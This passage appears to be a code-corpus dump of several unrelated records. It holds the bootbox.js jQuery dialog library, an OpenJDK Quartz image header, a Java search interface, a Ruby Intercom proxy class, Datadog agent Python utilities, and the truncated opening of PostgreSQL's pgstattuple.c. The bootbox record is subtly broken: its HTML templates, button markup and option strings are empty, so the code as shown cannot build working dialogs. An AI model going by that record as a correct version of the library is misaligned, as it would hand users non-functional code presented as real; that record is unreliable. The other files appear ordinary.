AMD. Register as an anonymous module.\n define([\"jquery\"], factory);\n } else if (typeof exports === \"object\") {\n // Node. Does not work with strict CommonJS, but\n // only CommonJS-like environments that support module.exports,\n // like Node.\n module.exports = factory(require(\"jquery\"));\n } else {\n // Browser globals (root is window)\n root.bootbox = factory(root.jQuery);\n }\n\n}(this, function init($, undefined) {\n\n \"use strict\";\n\n // the base DOM structure needed to create a modal\n var templates = {\n dialog:\n \"\",\n header:\n \"
\" +\n \"

\" +\n \"
\",\n footer:\n \"
\",\n closeButton:\n \"\",\n form:\n \"
\",\n inputs: {\n text:\n \"\",\n textarea:\n \"\",\n email:\n \"\",\n select:\n \"\",\n checkbox:\n \"
\",\n date:\n \"\",\n time:\n \"\",\n number:\n \"\",\n password:\n \"\"\n }\n };\n\n var defaults = {\n // default language\n locale: \"en\",\n // show backdrop or not\n backdrop: true,\n // animate the modal in/out\n animate: true,\n // additional class string applied to the top level dialog\n className: null,\n // whether or not to include a close button\n closeButton: true,\n // show the dialog immediately by default\n show: true,\n // dialog container\n container: \"body\"\n };\n\n // our public object; augmented after our private API\n var exports = {};\n\n /**\n * @private\n */\n function _t(key) {\n var locale = locales[defaults.locale];\n return locale ? locale[key] : locales.en[key];\n }\n\n function processCallback(e, dialog, callback) {\n e.stopPropagation();\n e.preventDefault();\n\n // by default we assume a callback will get rid of the dialog,\n // although it is given the opportunity to override this\n\n // so, if the callback can be invoked and it *explicitly returns false*\n // then we'll set a flag to keep the dialog active...\n var preserveDialog = $.isFunction(callback) && callback(e) === false;\n\n // ... otherwise we'll bin it\n if (!preserveDialog) {\n dialog.modal(\"hide\");\n }\n }\n\n function getKeyLength(obj) {\n // @TODO defer to Object.keys(x).length if available?\n var k, t = 0;\n for (k in obj) {\n t ++;\n }\n return t;\n }\n\n function each(collection, iterator) {\n var index = 0;\n $.each(collection, function(key, value) {\n iterator(key, value, index++);\n });\n }\n\n function sanitize(options) {\n var buttons;\n var total;\n\n if (typeof options !== \"object\") {\n throw new Error(\"Please supply an object of options\");\n }\n\n if (!options.message) {\n throw new Error(\"Please specify a message\");\n }\n\n // make sure any supplied options take precedence over defaults\n options = $.extend({}, defaults, options);\n\n if (!options.buttons) {\n options.buttons = {};\n }\n\n // we only support Bootstrap's \"static\" and false backdrop args\n // supporting true would mean you could dismiss the dialog without\n // explicitly interacting with it\n options.backdrop = options.backdrop ? \"static\" : false;\n\n buttons = options.buttons;\n\n total = getKeyLength(buttons);\n\n each(buttons, function(key, button, index) {\n\n if ($.isFunction(button)) {\n // short form, assume value is our callback. Since button\n // isn't an object it isn't a reference either so re-assign it\n button = buttons[key] = {\n callback: button\n };\n }\n\n // before any further checks make sure by now button is the correct type\n if ($.type(button) !== \"object\") {\n throw new Error(\"button with key \" + key + \" must be an object\");\n }\n\n if (!button.label) {\n // the lack of an explicit label means we'll assume the key is good enough\n button.label = key;\n }\n\n if (!button.className) {\n if (total <= 2 && index === total-1) {\n // always add a primary to the main option in a two-button dialog\n button.className = \"btn-primary\";\n } else {\n button.className = \"btn-default\";\n }\n }\n });\n\n return options;\n }\n\n /**\n * map a flexible set of arguments into a single returned object\n * if args.length is already one just return it, otherwise\n * use the properties argument to map the unnamed args to\n * object properties\n * so in the latter case:\n * mapArguments([\"foo\", $.noop], [\"message\", \"callback\"])\n * -> { message: \"foo\", callback: $.noop }\n */\n function mapArguments(args, properties) {\n var argn = args.length;\n var options = {};\n\n if (argn < 1 || argn > 2) {\n throw new Error(\"Invalid argument length\");\n }\n\n if (argn === 2 || typeof args[0] === \"string\") {\n options[properties[0]] = args[0];\n options[properties[1]] = args[1];\n } else {\n options = args[0];\n }\n\n return options;\n }\n\n /**\n * merge a set of default dialog options with user supplied arguments\n */\n function mergeArguments(defaults, args, properties) {\n return $.extend(\n // deep merge\n true,\n // ensure the target is an empty, unreferenced object\n {},\n // the base options object for this type of dialog (often just buttons)\n defaults,\n // args could be an object or array; if it's an array properties will\n // map it to a proper options object\n mapArguments(\n args,\n properties\n )\n );\n }\n\n /**\n * this entry-level method makes heavy use of composition to take a simple\n * range of inputs and return valid options suitable for passing to bootbox.dialog\n */\n function mergeDialogOptions(className, labels, properties, args) {\n // build up a base set of dialog properties\n var baseOptions = {\n className: \"bootbox-\" + className,\n buttons: createLabels.apply(null, labels)\n };\n\n // ensure the buttons properties generated, *after* merging\n // with user args are still valid against the supplied labels\n return validateButtons(\n // merge the generated base properties with user supplied arguments\n mergeArguments(\n baseOptions,\n args,\n // if args.length > 1, properties specify how each arg maps to an object key\n properties\n ),\n labels\n );\n }\n\n /**\n * from a given list of arguments return a suitable object of button labels\n * all this does is normalise the given labels and translate them where possible\n * e.g. \"ok\", \"confirm\" -> { ok: \"OK, cancel: \"Annuleren\" }\n */\n function createLabels() {\n var buttons = {};\n\n for (var i = 0, j = arguments.length; i < j; i++) {\n var argument = arguments[i];\n var key = argument.toLowerCase();\n var value = argument.toUpperCase();\n\n buttons[key] = {\n label: _t(value)\n };\n }\n\n return buttons;\n }\n\n function validateButtons(options, buttons) {\n var allowedButtons = {};\n each(buttons, function(key, value) {\n allowedButtons[value] = true;\n });\n\n each(options.buttons, function(key) {\n if (allowedButtons[key] === undefined) {\n throw new Error(\"button key \" + key + \" is not allowed (options are \" + buttons.join(\"\\n\") + \")\");\n }\n });\n\n return options;\n }\n\n exports.alert = function() {\n var options;\n\n options = mergeDialogOptions(\"alert\", [\"ok\"], [\"message\", \"callback\"], arguments);\n\n if (options.callback && !$.isFunction(options.callback)) {\n throw new Error(\"alert requires callback property to be a function when provided\");\n }\n\n /**\n * overrides\n */\n options.buttons.ok.callback = options.onEscape = function() {\n if ($.isFunction(options.callback)) {\n return options.callback();\n }\n return true;\n };\n\n return exports.dialog(options);\n };\n\n exports.confirm = function() {\n var options;\n\n options = mergeDialogOptions(\"confirm\", [\"cancel\", \"confirm\"], [\"message\", \"callback\"], arguments);\n\n /**\n * overrides; undo anything the user tried to set they shouldn't have\n */\n options.buttons.cancel.callback = options.onEscape = function() {\n return options.callback(false);\n };\n\n options.buttons.confirm.callback = function() {\n return options.callback(true);\n };\n\n // confirm specific validation\n if (!$.isFunction(options.callback)) {\n throw new Error(\"confirm requires a callback\");\n }\n\n return exports.dialog(options);\n };\n\n exports.prompt = function() {\n var options;\n var defaults;\n var dialog;\n var form;\n var input;\n var shouldShow;\n var inputOptions;\n\n // we have to create our form first otherwise\n // its value is undefined when gearing up our options\n // @TODO this could be solved by allowing message to\n // be a function instead...\n form = $(templates.form);\n\n // prompt defaults are more complex than others in that\n // users can override more defaults\n // @TODO I don't like that prompt has to do a lot of heavy\n // lifting which mergeDialogOptions can *almost* support already\n // just because of 'value' and 'inputType' - can we refactor?\n defaults = {\n className: \"bootbox-prompt\",\n buttons: createLabels(\"cancel\", \"confirm\"),\n value: \"\",\n inputType: \"text\"\n };\n\n options = validateButtons(\n mergeArguments(defaults, arguments, [\"title\", \"callback\"]),\n [\"cancel\", \"confirm\"]\n );\n\n // capture the user's show value; we always set this to false before\n // spawning the dialog to give us a chance to attach some handlers to\n // it, but we need to make sure we respect a preference not to show it\n shouldShow = (options.show === undefined) ? true : options.show;\n\n // check if the browser supports the option.inputType\n var html5inputs = [\"date\",\"time\",\"number\"];\n var i = document.createElement(\"input\");\n i.setAttribute(\"type\", options.inputType);\n if(html5inputs[options.inputType]){\n options.inputType = i.type;\n }\n\n /**\n * overrides; undo anything the user tried to set they shouldn't have\n */\n options.message = form;\n\n options.buttons.cancel.callback = options.onEscape = function() {\n return options.callback(null);\n };\n\n options.buttons.confirm.callback = function() {\n var value;\n\n switch (options.inputType) {\n case \"text\":\n case \"textarea\":\n case \"email\":\n case \"select\":\n case \"date\":\n case \"time\":\n case \"number\":\n case \"password\":\n value = input.val();\n break;\n\n case \"checkbox\":\n var checkedItems = input.find(\"input:checked\");\n\n // we assume that checkboxes are always multiple,\n // hence we default to an empty array\n value = [];\n\n each(checkedItems, function(_, item) {\n value.push($(item).val());\n });\n break;\n }\n\n return options.callback(value);\n };\n\n options.show = false;\n\n // prompt specific validation\n if (!options.title) {\n throw new Error(\"prompt requires a title\");\n }\n\n if (!$.isFunction(options.callback)) {\n throw new Error(\"prompt requires a callback\");\n }\n\n if (!templates.inputs[options.inputType]) {\n throw new Error(\"invalid prompt type\");\n }\n\n // create the input based on the supplied type\n input = $(templates.inputs[options.inputType]);\n\n switch (options.inputType) {\n case \"text\":\n case \"textarea\":\n case \"email\":\n case \"date\":\n case \"time\":\n case \"number\":\n case \"password\":\n input.val(options.value);\n break;\n\n case \"select\":\n var groups = {};\n inputOptions = options.inputOptions || [];\n\n if (!inputOptions.length) {\n throw new Error(\"prompt with select requires options\");\n }\n\n each(inputOptions, function(_, option) {\n\n // assume the element to attach to is the input...\n var elem = input;\n\n if (option.value === undefined || option.text === undefined) {\n throw new Error(\"given options in wrong format\");\n }\n\n\n // ... but override that element if this option sits in a group\n\n if (option.group) {\n // initialise group if necessary\n if (!groups[option.group]) {\n groups[option.group] = $(\"\").attr(\"label\", option.group);\n }\n\n elem = groups[option.group];\n }\n\n elem.append(\"\");\n });\n\n each(groups, function(_, group) {\n input.append(group);\n });\n\n // safe to set a select's value as per a normal input\n input.val(options.value);\n break;\n\n case \"checkbox\":\n var values = $.isArray(options.value) ? options.value : [options.value];\n inputOptions = options.inputOptions || [];\n\n if (!inputOptions.length) {\n throw new Error(\"prompt with checkbox requires options\");\n }\n\n if (!inputOptions[0].value || !inputOptions[0].text) {\n throw new Error(\"given options in wrong format\");\n }\n\n // checkboxes have to nest within a containing element, so\n // they break the rules a bit and we end up re-assigning\n // our 'input' element to this container instead\n input = $(\"
\");\n\n each(inputOptions, function(_, option) {\n var checkbox = $(templates.inputs[options.inputType]);\n\n checkbox.find(\"input\").attr(\"value\", option.value);\n checkbox.find(\"label\").append(option.text);\n\n // we've ensured values is an array so we can always iterate over it\n each(values, function(_, value) {\n if (value === option.value) {\n checkbox.find(\"input\").prop(\"checked\", true);\n }\n });\n\n input.append(checkbox);\n });\n break;\n }\n\n if (options.placeholder) {\n input.attr(\"placeholder\", options.placeholder);\n }\n\n if(options.pattern){\n input.attr(\"pattern\", options.pattern);\n }\n\n // now place it in our form\n form.append(input);\n\n form.on(\"submit\", function(e) {\n e.preventDefault();\n // @TODO can we actually click *the* button object instead?\n // e.g. buttons.confirm.click() or similar\n dialog.find(\".btn-primary\").click();\n });\n\n dialog = exports.dialog(options);\n\n // clear the existing handler focusing the submit button...\n dialog.off(\"shown.bs.modal\");\n\n // ...and replace it with one focusing our input, if possible\n dialog.on(\"shown.bs.modal\", function() {\n input.focus();\n });\n\n if (shouldShow === true) {\n dialog.modal(\"show\");\n }\n\n return dialog;\n };\n\n exports.dialog = function(options) {\n options = sanitize(options);\n\n var dialog = $(templates.dialog);\n var body = dialog.find(\".modal-body\");\n var buttons = options.buttons;\n var buttonStr = \"\";\n var callbacks = {\n onEscape: options.onEscape\n };\n\n each(buttons, function(key, button) {\n\n // @TODO I don't like this string appending to itself; bit dirty. Needs reworking\n // can we just build up button elements instead? slower but neater. Then button\n // can just become a template too\n buttonStr += \"\";\n callbacks[key] = button.callback;\n });\n\n body.find(\".bootbox-body\").html(options.message);\n\n if (options.animate === true) {\n dialog.addClass(\"fade\");\n }\n\n if (options.className) {\n dialog.addClass(options.className);\n }\n\n if (options.title) {\n body.before(templates.header);\n }\n\n if (options.closeButton) {\n var closeButton = $(templates.closeButton);\n\n if (options.title) {\n dialog.find(\".modal-header\").prepend(closeButton);\n } else {\n closeButton.css(\"margin-top\", \"-10px\").prependTo(body);\n }\n }\n\n if (options.title) {\n dialog.find(\".modal-title\").html(options.title);\n }\n\n if (buttonStr.length) {\n body.after(templates.footer);\n dialog.find(\".modal-footer\").html(buttonStr);\n }\n\n\n /**\n * Bootstrap event listeners; used handle extra\n * setup & teardown required after the underlying\n * modal has performed certain actions\n */\n\n dialog.on(\"hidden.bs.modal\", function(e) {\n // ensure we don't accidentally intercept hidden events triggered\n // by children of the current dialog. We shouldn't anymore now BS\n // namespaces its events; but still worth doing\n if (e.target === this) {\n dialog.remove();\n }\n });\n\n /*\n dialog.on(\"show.bs.modal\", function() {\n // sadly this doesn't work; show is called *just* before\n // the backdrop is added so we'd need a setTimeout hack or\n // otherwise... leaving in as would be nice\n if (options.backdrop) {\n dialog.next(\".modal-backdrop\").addClass(\"bootbox-backdrop\");\n }\n });\n */\n\n dialog.on(\"shown.bs.modal\", function() {\n dialog.find(\".btn-primary:first\").focus();\n });\n\n /**\n * Bootbox event listeners; experimental and may not last\n * just an attempt to decouple some behaviours from their\n * respective triggers\n */\n\n dialog.on(\"escape.close.bb\", function(e) {\n if (callbacks.onEscape) {\n processCallback(e, dialog, callbacks.onEscape);\n }\n });\n\n /**\n * Standard jQuery event listeners; used to handle user\n * interaction with our dialog\n */\n\n dialog.on(\"click\", \".modal-footer button\", function(e) {\n var callbackKey = $(this).data(\"bb-handler\");\n\n processCallback(e, dialog, callbacks[callbackKey]);\n\n });\n\n dialog.on(\"click\", \".bootbox-close-button\", function(e) {\n // onEscape might be falsy but that's fine; the fact is\n // if the user has managed to click the close button we\n // have to close the dialog, callback or not\n processCallback(e, dialog, callbacks.onEscape);\n });\n\n dialog.on(\"keyup\", function(e) {\n if (e.which === 27) {\n dialog.trigger(\"escape.close.bb\");\n }\n });\n\n // the remainder of this method simply deals with adding our\n // dialogent to the DOM, augmenting it with Bootstrap's modal\n // functionality and then giving the resulting object back\n // to our caller\n\n $(options.container).append(dialog);\n\n dialog.modal({\n backdrop: options.backdrop,\n keyboard: false,\n show: false\n });\n\n if (options.show) {\n dialog.modal(\"show\");\n }\n\n // @TODO should we return the raw element here or should\n // we wrap it in an object on which we can expose some neater\n // methods, e.g. var d = bootbox.alert(); d.hide(); instead\n // of d.modal(\"hide\");\n\n /*\n function BBDialog(elem) {\n this.elem = elem;\n }\n\n BBDialog.prototype = {\n hide: function() {\n return this.elem.modal(\"hide\");\n },\n show: function() {\n return this.elem.modal(\"show\");\n }\n };\n */\n\n return dialog;\n\n };\n\n exports.setDefaults = function() {\n var values = {};\n\n if (arguments.length === 2) {\n // allow passing of single key/value...\n values[arguments[0]] = arguments[1];\n } else {\n // ... and as an object too\n values = arguments[0];\n }\n\n $.extend(defaults, values);\n };\n\n exports.hideAll = function() {\n $(\".bootbox\").modal(\"hide\");\n };\n\n\n /**\n * standard locales. Please add more according to ISO 639-1 standard. Multiple language variants are\n * unlikely to be required. If this gets too large it can be split out into separate JS files.\n */\n var locales = {\n br : {\n OK : \"OK\",\n CANCEL : \"Cancelar\",\n CONFIRM : \"Sim\"\n },\n da : {\n OK : \"OK\",\n CANCEL : \"Annuller\",\n CONFIRM : \"Accepter\"\n },\n de : {\n OK : \"OK\",\n CANCEL : \"Abbrechen\",\n CONFIRM : \"Akzeptieren\"\n },\n en : {\n OK : \"OK\",\n CANCEL : \"Cancel\",\n CONFIRM : \"OK\"\n },\n es : {\n OK : \"OK\",\n CANCEL : \"Cancelar\",\n CONFIRM : \"Aceptar\"\n },\n fi : {\n OK : \"OK\",\n CANCEL : \"Peruuta\",\n CONFIRM : \"OK\"\n },\n fr : {\n OK : \"OK\",\n CANCEL : \"Annuler\",\n CONFIRM : \"D'accord\"\n },\n he : {\n OK : \"אישור\",\n CANCEL : \"ביטול\",\n CONFIRM : \"אישור\"\n },\n it : {\n OK : \"OK\",\n CANCEL : \"Annulla\",\n CONFIRM : \"Conferma\"\n },\n lt : {\n OK : \"Gerai\",\n CANCEL : \"Atšaukti\",\n CONFIRM : \"Patvirtinti\"\n },\n lv : {\n OK : \"Labi\",\n CANCEL : \"Atcelt\",\n CONFIRM : \"Apstiprināt\"\n },\n nl : {\n OK : \"OK\",\n CANCEL : \"Annuleren\",\n CONFIRM : \"Accepteren\"\n },\n no : {\n OK : \"OK\",\n CANCEL : \"Avbryt\",\n CONFIRM : \"OK\"\n },\n pl : {\n OK : \"OK\",\n CANCEL : \"Anuluj\",\n CONFIRM : \"Potwierdź\"\n },\n ru : {\n OK : \"OK\",\n CANCEL : \"Отмена\",\n CONFIRM : \"Применить\"\n },\n sv : {\n OK : \"OK\",\n CANCEL : \"Avbryt\",\n CONFIRM : \"OK\"\n },\n tr : {\n OK : \"Tamam\",\n CANCEL : \"İptal\",\n CONFIRM : \"Onayla\"\n },\n zh_CN : {\n OK : \"OK\",\n CANCEL : \"取消\",\n CONFIRM : \"确认\"\n },\n zh_TW : {\n OK : \"OK\",\n CANCEL : \"取消\",\n CONFIRM : \"確認\"\n }\n };\n\n exports.init = function(_$) {\n return init(_$ || $);\n };\n\n return exports;\n}));\n"} +{"text": "/*\n * Copyright (c) 2011, 2012, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n#import \"QuartzSurfaceData.h\"\n#import \n\ntypedef UInt8 Pixel8bit;\ntypedef UInt16 Pixel16bit;\ntypedef UInt32 Pixel32bit;\n\ntypedef struct _ImageSDOps ImageSDOps;\n\nImageSDOps* LockImage(JNIEnv* env, jobject imageSurfaceData);\nvoid UnlockImage(JNIEnv* env, ImageSDOps* isdo);\nImageSDOps* LockImagePixels(JNIEnv* env, jobject imageSurfaceData);\nvoid UnlockImagePixels(JNIEnv* env, ImageSDOps* isdo);\n\n// if there is no image created for isdo.imgRef, it creates and image using the isdo.dataProvider\n// If there is an image present, this is a no-op\nvoid makeSureImageIsCreated(ImageSDOps* isdo);\n\ntypedef struct _ContextInfo\n{\n BOOL useWindowContextReference;\n BOOL canUseJavaPixelsAsContext;\n size_t bitsPerComponent;\n size_t bytesPerPixel;\n size_t bytesPerRow;\n CGImageAlphaInfo alphaInfo;\n CGColorSpaceRef colorSpace;\n} ContextInfo;\n\ntypedef struct _ImageInfo\n{\n size_t bitsPerComponent;\n size_t bitsPerPixel;\n size_t bytesPerPixel;\n size_t bytesPerRow;\n CGImageAlphaInfo alphaInfo;\n CGColorSpaceRef colorSpace;\n} ImageInfo;\n\nstruct _ImageSDOps\n{\n QuartzSDOps qsdo; // must be the first entry!\n\n ContextInfo contextInfo;\n ImageInfo imageInfo;\n BOOL isSubImage;\n\n jint* javaImageInfo;\n\n // parameters specifying this BufferedImage given to us from Java\n jobject array;\n jint offset;\n jint width;\n jint height;\n jint javaPixelBytes;\n jint javaPixelsBytesPerRow;\n jobject icm;\n jint type;\n\n Pixel8bit* pixels;\n Pixel8bit* pixelsLocked;\n\n // needed by TYPE_BYTE_INDEXED\n UInt16* indexedColorTable;\n UInt32* lutData;\n UInt32 lutDataSize;\n\n // Used as a cached image ref created from the isdo.dataprovider. This is only a chached image, and it might become invalid\n // if somebody draws on the bitmap context, or the pixels are changed in java. In that case, we need to NULL out\n // this image and recreate it from the data provider.\n CGImageRef imgRef;\n\n // Cached instance of CGDataProvider. dataProvider is alloced the first time a bitmap context is created, providing the\n // native pixels as a source of the data. The dataProviders life cycle is the same as ISDO. The reference gets\n // released when we are done with the ISDO.\n CGDataProviderRef dataProvider;\n\n // Pointer in memory that is used for create the CGBitmapContext and the CGDataProvider (used for imgRef). This is a native\n // copy of the pixels for the Image. There is a spearate copy of the pixels that lives in Java heap. There are two main\n // reasons why we keep those pixels spearate: 1) CG doesn't support all the Java pixel formats 2) The Garbage collector can\n // move the java pixels at any time. There are possible workarounds for both problems. Number 2) seems to be a more serious issue, since\n // we can solve 1) by only supporting certain image types.\n void * nativePixels;\n NSGraphicsContext* nsRef;\n\n pthread_mutex_t lock;\n jint nrOfPixelsOwners;\n};\n\n"} +{"text": "package com.freedom.lauzy.ticktockmusic.contract;\n\nimport com.freedom.lauzy.ticktockmusic.base.IBaseView;\nimport com.freedom.lauzy.ticktockmusic.base.IPresenter;\nimport com.freedom.lauzy.ticktockmusic.model.SongEntity;\n\nimport java.util.List;\n\n/**\n * Desc : 搜索\n * Author : Lauzy\n * Date : 2018/5/22\n * Blog : http://www.jianshu.com/u/e76853f863a9\n * Email : freedompaladin@gmail.com\n */\npublic interface SearchContract {\n\n interface View extends IBaseView {\n void onSearchSuccess(List songEntities);\n\n void onSearchFailed();\n\n void setEmptyView();\n }\n\n interface Presenter extends IPresenter{\n /**\n * 搜索\n * @param searchContent 内容\n */\n void searchSongs(String searchContent);\n }\n}\n"} +{"text": "# frozen_string_literal: true\n\nmodule Intercom\n class DeprecatedLeadsCollectionProxy < ClientCollectionProxy\n def fetch(next_page)\n response_hash = if next_page\n @client.get(next_page, {})\n else\n @client.get(@url, @params)\n end\n transform(response_hash)\n end\n\n def transform(response_hash)\n response_hash['type'] = 'lead.list'\n leads_list = response_hash.delete('contacts')\n leads_list.each { |lead| lead['type'] = 'lead' }\n response_hash['leads'] = leads_list\n response_hash\n end\n end\nend\n"} +{"text": "# (C) Datadog, Inc. 2010-2016\n# All rights reserved\n# Licensed under Simplified BSD License (see LICENSE)\n\n# stdlib\nimport logging\nimport platform\nimport re\nimport uuid\n\n# 3p\nimport yaml # noqa, let's guess, probably imported somewhere\ntry:\n from yaml import CSafeLoader as yLoader\n from yaml import CSafeDumper as yDumper\nexcept ImportError:\n # On source install C Extensions might have not been built\n from yaml import SafeLoader as yLoader # noqa, imported from here elsewhere\n from yaml import SafeDumper as yDumper # noqa, imported from here elsewhere\n\n# These classes are now in utils/, they are just here for compatibility reasons,\n# if a user actually uses them in a custom check\n# If you're this user, please use utils/* instead\n# FIXME: remove them at a point (6.x)\nfrom utils.pidfile import PidFile # noqa, see ^^^\nfrom utils.platform import Platform, get_os # noqa, see ^^^\nfrom utils.proxy import get_proxy # noqa, see ^^^\nfrom utils.timer import Timer # noqa, see ^^^\n\nCOLON_NON_WIN_PATH = re.compile(':(?!\\\\\\\\)')\n\nlog = logging.getLogger(__name__)\n\nNumericTypes = (float, int, long)\n\n\ndef plural(count):\n if count == 1:\n return \"\"\n return \"s\"\n\ndef get_uuid():\n # Generate a unique name that will stay constant between\n # invocations, such as platform.node() + uuid.getnode()\n # Use uuid5, which does not depend on the clock and is\n # recommended over uuid3.\n # This is important to be able to identify a server even if\n # its drives have been wiped clean.\n # Note that this is not foolproof but we can reconcile servers\n # on the back-end if need be, based on mac addresses.\n return uuid.uuid5(uuid.NAMESPACE_DNS, platform.node() + str(uuid.getnode())).hex\n\n\ndef headers(agentConfig, **kwargs):\n # Build the request headers\n res = {\n 'User-Agent': 'Datadog Agent/%s' % agentConfig['version'],\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Accept': 'text/html, */*',\n }\n if 'http_host' in kwargs:\n res['Host'] = kwargs['http_host']\n return res\n\n\ndef windows_friendly_colon_split(config_string):\n '''\n Perform a split by ':' on the config_string\n without splitting on the start of windows path\n '''\n if Platform.is_win32():\n # will split on path/to/module.py:blabla but not on C:\\\\path\n return COLON_NON_WIN_PATH.split(config_string)\n else:\n return config_string.split(':')\n\n\ndef cast_metric_val(val):\n # ensure that the metric value is a numeric type\n if not isinstance(val, NumericTypes):\n # Try the int conversion first because want to preserve\n # whether the value is an int or a float. If neither work,\n # raise a ValueError to be handled elsewhere\n for cast in [int, float]:\n try:\n val = cast(val)\n return val\n except ValueError:\n continue\n raise ValueError\n return val\n\n_IDS = {}\n\n\ndef get_next_id(name):\n global _IDS\n current_id = _IDS.get(name, 0)\n current_id += 1\n _IDS[name] = current_id\n return current_id\n\n\nclass NoInstancesFound(Exception):\n pass\n\ndef check_yaml(conf_path):\n with open(conf_path) as f:\n check_config = yaml.load(f.read(), Loader=yLoader)\n assert 'init_config' in check_config, \"No 'init_config' section found\"\n assert 'instances' in check_config, \"No 'instances' section found\"\n\n valid_instances = True\n if check_config['instances'] is None or not isinstance(check_config['instances'], list):\n valid_instances = False\n else:\n for i in check_config['instances']:\n if not isinstance(i, dict):\n valid_instances = False\n break\n if not valid_instances:\n raise NoInstancesFound('You need to have at least one instance defined in the YAML file for this check')\n else:\n return check_config\n\ndef config_to_yaml(config):\n '''\n Convert a config dict to YAML\n '''\n assert 'init_config' in config, \"No 'init_config' section found\"\n assert 'instances' in config, \"No 'instances' section found\"\n\n valid_instances = True\n if config['instances'] is None or not isinstance(config['instances'], list):\n valid_instances = False\n else:\n yaml_output = yaml.safe_dump(config, default_flow_style=False)\n\n if not valid_instances:\n raise Exception('You need to have at least one instance defined in your config.')\n\n return yaml_output\n\n\"\"\"\nIterable Recipes\n\"\"\"\n\ndef chunks(iterable, chunk_size):\n \"\"\"Generate sequences of `chunk_size` elements from `iterable`.\"\"\"\n iterable = iter(iterable)\n while True:\n chunk = [None] * chunk_size\n count = 0\n try:\n for _ in range(chunk_size):\n chunk[count] = iterable.next()\n count += 1\n yield chunk[:count]\n except StopIteration:\n if count:\n yield chunk[:count]\n break\n"} +{"text": "/*\n * contrib/pgstattuple/pgstattuple.c\n *\n * Copyright (c) 2001,2002 Tatsuo Ishii\n *\n * Permission to use, copy, modify, and distribute this software and\n * its documentation for any purpose, without fee, and without a\n * written agreement is hereby granted, provided that the above\n * copyright notice and this paragraph and the following two\n * paragraphs appear in all copies.\n *\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE TO ANY PARTY FOR DIRECT,\n * INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING\n * LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS\n * DOCUMENTATION, EVEN IF THE UNIVERSITY OF CALIFORNIA HAS BEEN ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * THE AUTHOR SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN \"AS\n * IS\" BASIS, AND THE AUTHOR HAS NO OBLIGATIONS TO PROVIDE MAINTENANCE,\n * SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n */\n\n#include \"postgres.h\"\n\n#include \"access/gist_private.h\"\n#include \"access/hash.h\"\n#include \"access/nbtree.h\"\n#include \"access/relscan.h\"\n#include \"catalog/namespace.h\"\n#include \"catalog/pg_am.h\"\n#include \"funcapi.h\"\n#include \"miscadmin.h\"\n#include \"storage/bufmgr.h\"\n#include \"storage/lmgr.h\"\n#include \"utils/builtins.h\"\n#include \"utils/tqual.h\"\n#include \"utils/varlena.h\"\n\nPG_MODULE_MAGIC;\n\nPG_FUNCTION_INFO_V1(pgstattuple);\nPG_FUNCTION_INFO_V1(pgstattuple_v1_5);\nPG_FUNCTION_INFO_V1(pgstattuplebyid);\nPG_FUNCTION_INFO_V1(pgstattuplebyid_v1_5);\n\n/*\n * struct pgstattuple_type\n *\n * tuple_percent, dead_tuple_percent and free_percent are computable,\n * so not defined here.\n */\ntypedef struct pgstattuple_type\n{\n uint64 table_len;\n uint64 tuple_count;\n uint64 tuple_len;\n uint64 dead_tuple_count;\n uint64 dead_tuple_len;\n uint64 free_space; /* free/reusable space in bytes */\n} pgstattuple_type;\n\ntypedef void (*pgstat_page) (pgstattuple_type *, Relation, BlockNumber,\n BufferAccessStrategy);\n\nstatic Datum build_pgstattuple_type(pgstattuple_type *stat,\n FunctionCallInfo fcinfo);\nstatic Datum pgstat_relation(Relation rel, FunctionCallInfo fcinfo);\nstatic Datum pgstat_heap(Relation rel, FunctionCallInfo fcinfo);\nstatic void pgstat_btree_page(pgstattuple_type *stat,\n Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy);\nstatic void pgstat_hash_page(pgstattuple_type *stat,\n Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy);\nstatic void pgstat_gist_page(pgstattuple_type *stat,\n Relation rel, BlockNumber blkno,\n BufferAccessStrategy bstrategy);\nstatic Datum pgstat_index(Relation rel, BlockNumber start,\n pgstat_page pagefn, FunctionCallInfo fcinfo);\nstatic void pgstat_index_page(pgstattuple_type *stat, Page page,\n OffsetNumber minoff, OffsetNumber maxoff);\n\n/*\n * build_pgstattuple_type -- build a pgstattuple_type tuple\n */\nstatic Datum\nbuild_pgstattuple_type(pgstattuple_type *stat, FunctionCallInfo fcinfo)\n{\n#define NCOLUMNS 9\n#define NCHARS 32\n\n HeapTuple tuple;\n char *values[NCOLUMNS];\n char values_buf[NCOLUMNS][NCHARS];\n int i;\n double tuple_percent;\n double dead_tuple_percent;\n double free_percent; /* free/reusable space in % */\n TupleDesc tupdesc;\n AttInMetadata *attinmeta;\n\n /* Build a tuple descriptor for our result type */\n if (get_call_result_type(fcinfo, NULL, &tupdesc) != TYPEFUNC_COMPOSITE)\n elog(ERROR, \"return type must be a row type\");\n\n /*\n * Generate attribute metadata needed later to produce tuples from raw C\n * strings\n */\n attinmeta = TupleDescGetAttInMetadata(tupdesc);\n\n if (stat->table_len == 0)\n {\n tuple_percent = 0.0;\n dead_tuple_percent = 0.0;\n free_percent = 0.0;\n 